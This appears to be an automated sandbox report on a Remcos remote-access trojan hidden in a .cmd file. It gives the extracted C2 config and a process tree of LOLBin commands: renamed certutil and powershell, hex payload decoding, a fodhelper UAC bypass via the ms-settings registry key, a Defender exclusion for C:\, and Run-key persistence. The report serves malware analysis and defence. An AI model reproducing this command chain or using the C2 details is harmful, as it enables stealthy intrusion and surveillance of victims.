Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/05/2024, 11:02

General

  • Target
    BCC0174237_DRAFT_BL.cmd
  • Size 4.0MB
  • Sample240525-m5a7aaeb61
  • SHA256 15ed7a1bb6747d6afb7c1665ba33c30c4fa611bc840a8f4e48a8681344419ba1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • DodoCrypt

C2
  • 172.208.52.39:5404

  • 172.208.52.39:5403

  • 172.208.52.39:5402

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    soon.dat

  • keylog_flag

    false

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    ioioeioeioeooeoioe-YSHXR1

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BCC0174237_DRAFT_BL.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:720
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:660
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:4844
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3264
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:1928
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BCC0174237_DRAFT_BL.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1280
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BCC0174237_DRAFT_BL.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:1216
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:4748
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3516
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1440
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3764
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:4940
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3816
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3004
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2384
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:4408
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2512
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:3924
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:1736
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3008
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1672
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4284
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Epxiiztp.PIF
                  3⤵
                    PID:3252
                  • C:\Windows\SysWOW64\SndVol.exe
                    C:\Windows\System32\SndVol.exe
                    3⤵
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:3424
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:3936
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:4384
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:3724
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2308
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4916
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4844
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4820
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:5096
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:2160

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      __PSScriptPolicyTest_uasq1cjo.22a.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uasq1cjo.22a.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      Ping_c.pif

                      • Path C:\Users\Public\Libraries\Ping_c.pif
                      • Size 1.3MB
                      • SHA256 5e56eeb51d7cc95afc89da99aa644593576e51702d599777d129029d55346dea
                      • MD5 SHA1 SHA512 SSDEEP

                      Ping_c.mp4

                      • Path C:\Users\Public\Ping_c.mp4
                      • Size 2.6MB
                      • SHA256 330657b94dd59c84031e4d288a894e414c478c5d36b0d16644dca61e2c2ef885
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/3004-38-0x0000027BF93F0000-0x0000027BF9412000-memory.dmp

                      memory/3424-88-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-90-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-81-0x0000000003210000-0x0000000004210000-memory.dmp

                      memory/3424-103-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-86-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-83-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-89-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-87-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-91-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-93-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-96-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-97-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-98-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-100-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/3424-102-0x00000000167C0000-0x0000000016842000-memory.dmp

                      memory/4284-75-0x0000000000400000-0x000000000055C000-memory.dmp